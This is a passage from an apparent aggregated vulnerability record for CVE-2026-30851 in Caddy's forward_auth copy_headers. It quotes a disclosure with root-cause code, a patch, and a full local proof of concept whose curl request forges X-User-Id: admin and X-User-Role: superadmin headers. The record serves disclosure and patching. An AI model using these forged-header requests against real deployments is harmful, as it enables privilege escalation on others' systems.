Caddy core)\n- PR #6608 comment thread (no security discussion)\n- cvedetails.com Caddy product listing (no matching CVE)\n\nNo prior report exists for this specific behavior.\n\n---\n\n## References\n\n- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n- PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608\n- Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610\n- forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth\n\n---\n\n## Fix\nFix PR - https://github.com/caddyserver/caddy/pull/7545\n\n---\n\n## AI Disclosure\n\nAn LLM  was used to polish the report.",
                    "title": "github - https://github.com/advisories/GHSA-7r4p-vjf4-gxv4"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nCaddy's `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.\n\nWhen an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.\n\nThis is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.\n\n---\n\n## Scope Argument\n\nThis is a bug in the source code of this repository, not a misconfiguration.\n\nThe operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`.\n\nThe bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.\n\nThe fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`.\n\n---\n\n## Affected Versions\n\n| Version | Vulnerable |\n|---|---|\n| <= v2.9.x | No (old code overwrote client value with empty placeholder) |\n| v2.10.0 (April 18, 2025) | Yes — first stable release containing PR #6608 |\n| v2.10.1 | Yes |\n| v2.10.2 | Yes |\n| v2.11.0 | Yes |\n| v2.11.1 (February 23, 2026, current) | Yes — unpatched |\n\n**Package:** `github.com/caddyserver/caddy/v2`\n**Affected file:** `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`\n\n---\n\n## Root Cause\n\nThe `parseCaddyfile` function builds one route per `copy_headers` entry. Each route uses a `MatchNot` guard and a `Set` operation:\n\n```go\n// from modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go (v2.11.1, identical in v2.10.x)\ncopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n    MatcherSetsRaw: []caddy.ModuleMap{{\n        \"not\": h.JSON(caddyhttp.MatchNot{MatcherSetsRaw: []caddy.ModuleMap{{\n            \"vars\": h.JSON(caddyhttp.VarsMatcher{\n                \"{\" + placeholderName + \"}\": []string{\"\"},\n            }),\n        }}}),\n    }},\n    HandlersRaw: []json.RawMessage{caddyconfig.JSONModuleObject(\n        handler, \"handler\", \"headers\", nil,\n    )},\n})\n```\n\nThe route runs only when `{http.reverse_proxy.header.X-User-Id}` (the auth service's response header) is non-empty. When the auth service does not return `X-User-Id`, the placeholder is empty, the `MatchNot` guard fires, the route is skipped, and the original client-supplied `X-User-Id` header is never removed.\n\nThere is no `Delete` operation anywhere in this function.\n\n---\n\n## Minimal Reproduction Config\n\n**Caddyfile** (no redactions, as required):\n\n```\n{\n    admin off\n    auto_https off\n    debug\n}\n\n:8080 {\n    forward_auth 127.0.0.1:9091 {\n        uri /\n        copy_headers X-User-Id X-User-Role\n    }\n    reverse_proxy 127.0.0.1:9092\n}\n```\n\n---\n\n## Reproduction Steps\n\nNo containers, VMs, or external services are used. All services run as local processes.\n\n### Step 1 — Start the auth service\n\nSave as `auth.py` and run `python3 auth.py` in a terminal:\n\n```python\n# auth.py\n# Accepts any Bearer token, returns 200 OK with NO identity headers.\n# Represents a stateless JWT validator that checks signature only.\nimport sys\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        auth = self.headers.get('Authorization', '')\n        code = 200 if auth.startswith('Bearer ') else 401\n        self.send_response(code)\n        self.end_headers()\n        sys.stdout.write(f'[auth] {self.command} {self.path} -> {code}\\n')\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer(('127.0.0.1', 9091), H).serve_forever()\n```\n\n### Step 2 — Start the backend\n\nSave as `backend.py` and run `python3 backend.py` in a second terminal:\n\n```python\n# backend.py\n# Echoes the identity headers it receives.\nimport sys, json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        data = {\n            'X-User-Id':   self.headers.get('X-User-Id',   '(absent)'),\n            'X-User-Role': self.headers.get('X-User-Role', '(absent)'),\n        }\n        body = json.dumps(data, indent=2).encode()\n        self.send_response(200)\n        self.send_header('Content-Type', 'application/json')\n        self.send_header('Content-Length', str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n        sys.stdout.write(f'[backend] saw: {data}\\n')\n        sys.stdout.flush()\n    def log_message(self, *a): pass\n\nHTTPServer(('127.0.0.1', 9092), H).serve_forever()\n```\n\n### Step 3 — Start Caddy\n\n```bash\ncaddy run --config Caddyfile --adapter caddyfile\n```\n\n### Step 4 — Run the three test cases\n\n**Test A: No token — must be blocked (confirms auth is enforced)**\n\n```bash\ncurl -v http://127.0.0.1:8080/\n```\n\nExpected: `HTTP/1.1 401`\n\n---\n\n**Test B: Valid token, no injected headers (baseline)**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\"\n```\n\nExpected backend response:\n```json\n{\n  \"X-User-Id\":   \"(absent)\",\n  \"X-User-Role\": \"(absent)\"\n}\n```\n\n---\n\n**Test C: ATTACK — valid token plus injected identity headers**\n\n```bash\ncurl -v http://127.0.0.1:8080/ \\\n  -H \"Authorization: Bearer token123\" \\\n  -H \"X-User-Id: admin\" \\\n  -H \"X-User-Role: superadmin\"\n```\n\nActual backend response (demonstrates the vulnerability):\n```json\n{\n  \"X-User-Id\":   \"admin\",\n  \"X-User-Role\": \"superadmin\"\n}\n```\n\nThe backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.\n\n**Test C is the proof of the vulnerability.**\n\nThe attack requires only a valid (non-privileged) token. No admin account is needed.\n\n---\n\n## Full Debug Log\n\nRun Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:\n\n```\nDEBUG   http.handlers.reverse_proxy     selected upstream  {\"dial\": \"127.0.0.1:9091\"}\nDEBUG   http.handlers.reverse_proxy     upstream responded  {\"status\": 200}\nDEBUG   http.handlers.reverse_proxy     handling response   {\"handler\": \"copy_headers\"}\n```\n\nNote that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched.\n\n---\n\n## Impact\n\nAny deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in:\n\n- Stateless JWT validators (verify signature, no response headers)\n- Session validators that leave identity decoding to the backend\n- Auth services where only some requests return identity headers\n\nAttack:\n1. Attacker has any valid auth token\n2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin`\n3. Auth service validates token, returns `200 OK`, no identity headers\n4. Caddy skips `Set` (placeholder empty), never deletes original headers\n5. Backend receives `X-User-Id: admin`, `X-User-Role: superadmin`\n6. Backend grants admin access\n\nCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1 High**\n\n---\n\n## Working Patch\n\n```diff\n--- a/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n+++ b/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n@@ -216,6 +216,25 @@ func parseCaddyfile(h httpcaddyfile.Helper) ([]httpcaddyfile.ConfigValue, error)\n \tcopyHeaderRoutes := []caddyhttp.Route{}\n \tfor _, from := range sortedHeadersToCopy {\n \t\tto := http.CanonicalHeaderKey(headersToCopy[from])\n \t\tplaceholderName := \"http.reverse_proxy.header.\" + http.CanonicalHeaderKey(from)\n+\n+\t\t// Security fix: unconditionally delete the client-supplied header\n+\t\t// before the conditional set runs. Without this, a client that\n+\t\t// pre-supplies a header listed in copy_headers can inject arbitrary\n+\t\t// values when the auth service does not return that header, because\n+\t\t// the MatchNot guard below skips the Set entirely (leaving the\n+\t\t// original client value intact).\n+\t\tcopyHeaderRoutes = append(copyHeaderRoutes, caddyhttp.Route{\n+\t\t\tHandlersRaw: []json.RawMessage{\n+\t\t\t\tcaddyconfig.JSONModuleObject(\n+\t\t\t\t\t&headers.Handler{\n+\t\t\t\t\t\tRequest: &headers.HeaderOps{\n+\t\t\t\t\t\t\tDelete: []string{to},\n+\t\t\t\t\t\t},\n+\t\t\t\t\t},\n+\t\t\t\t\t\"handler\", \"headers\", nil,\n+\t\t\t\t),\n+\t\t\t},\n+\t\t})\n+\n \t\thandler := &headers.Handler{\n \t\t\tRequest: &headers.HeaderOps{\n \t\t\t\tSet: http.Header{\n```\n\nThe `delete` route has no matcher, so it always runs. It fires before the existing `MatchNot + Set` route. The client-supplied header is cleared unconditionally. If the auth service provides the header, the subsequent `Set` then applies the correct value. If the auth service does not provide the header, the client's value is gone and the backend receives nothing.\n\nThis is a minimal, targeted fix with no impact on existing functionality when the auth service returns the headers.\n\n---\n\n## Uniqueness Confirmation\n\nThe following were checked and confirmed not to cover this vulnerability:\n\n- All 6 GHSA advisories published 2026-02-23: GHSA-x76f-jf84-rqj8, GHSA-g7pc-pc7g-h8jh, GHSA-hffm-g8v7-wrv7, GHSA-879p-475x-rqh2, GHSA-4xrr-hq4w-6vf4, GHSA-5r3v-vc8m-m96g\n- GitHub issue #7459 (malformed Host header)\n- GitHub issue #6610 (template placeholder leakage in copy_headers — fixed by PR #6608, which introduced this regression)\n- All Caddy community forum threads on `forward_auth`, `copy_headers`, and header stripping\n- CVE-2026-25748 (authentik auth bypass — root cause is in authentik cookie parsing, not Caddy)\n- CVE-2024-21494, CVE-2024-21499 (caddy-security third-party plugin, not Caddy core)\n- PR #6608 comment thread (no security discussion)\n- cvedetails.com Caddy product listing (no matching CVE)\n\nNo prior report exists for this specific behavior.\n\n---\n\n## References\n\n- Vulnerable file (v2.11.1): https://github.com/caddyserver/caddy/blob/v2.11.1/modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go\n- PR #6608 (introduced regression): https://github.com/caddyserver/caddy/pull/6608\n- Issue #6610 (related UX bug, fixed by PR #6608): https://github.com/caddyserver/caddy/issues/6610\n- forward_auth documentation: https://caddyserver.com/docs/caddyfile/directives/forward_auth\n\n---\n\n## Fix\nFix PR - https://github.com/caddyserver/caddy/pull/7545\n\n---\n\n## AI Disclosure\n\nAn LLM  was used to polish the report.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-7r4p-vjf4-gxv4.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Caddy is an extensible server platform that uses TLS by default. From version 2.10.0 to before version 2.11.2, forward_auth copy_headers does not strip client-supplied headers, allowing identity injection and privilege escalation. This issue has been patched in version 2.11.2.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-30851"
                },
                {
                    "category": "description",
                    "text": "Caddy is an extensible server platform that uses TLS by default. From version 2.10.0 to before version 2.11.2, forward_auth copy_headers does not strip client-supplied headers, allowing identity injection and privilege escalation. This issue has been patched in version 2.11.2.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-30851"
                },
                {
                    "category": "description",
                    "text": "Caddy is an extensible server platform that uses TLS by default. From version 2.10.0 to before version 2.11.2, forward_auth copy_headers does not strip client-supplied headers, allowing identity injection and privilege escalation. This issue has been patched in version 2.11.2.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-30851"
                },
                {
                    "category": "description",
                    "text": "Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation in github.com/caddyserver/caddy",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4639.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Caddy is an extensible server platform that uses TLS by default. From version 2.10.0 to before version 2.11.2, forward_auth copy_headers does not strip client-supplied headers, allowing identity injection and privilege escalation. This issue has been patched in version 2.11.2.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-30851.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00017",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.4",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, Is related to an uncommon product vendor, Exploit code publicly available, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5767824",
                    "CSAFPID-5700154",
                    "CSAFPID-5700159",
                    "CSAFPID-5700160",
                    "CSAFPID-5700161",
                    "CSAFPID-5700162",
                    "CSAFPID-5700163",
                    "CSAFPID-5735034",
                    "CSAFPID-5735035",
                    "CSAFPID-5735036",
                    "CSAFPID-5735037",
                    "CSAFPID-5737655",
                    "CSAFPID-5737660",
                    "CSAFPID-5909376",
                    "CSAFPID-5909377"
                ],
                "known_not_affected": [
                    "CSAFPID-1390593"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-7r4p-vjf4-gxv4"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-7r4p-vjf4-gxv4"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-7r4p-vjf4-gxv4.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30851"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30851"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-30851"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30851.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30851"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-30851"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-7r4p-vjf4-gxv4"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4639.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-30851.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/caddyserver/caddy/issues/6610"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/caddyserver/caddy/pull/6608"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/caddyserver/caddy/pull/7545"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-7r4p-vjf4-gxv4"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30851"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30851.json"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
                        "baseScore": 8.1,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5700154",
                        "CSAFPID-5700159",
                        "CSAFPID-5700160",
                        "CSAFPID-5700161",
                        "CSAFPID-5700162",
                        "CSAFPID-5700163",
                        "CSAFPID-5735034",
                        "CSAFPID-5735035",
                        "CSAFPID-5735036",
                        "CSAFPID-5735037",
                        "CSAFPID-5737655",
                        "CSAFPID-5737660",
                        "CSAFPID-5767824",
                        "CSAFPID-5909376",
                        "CSAFPID-5909377"
                    ]
                }
            ],
            "title": "CVE-2026-30851"
        }
    ]
}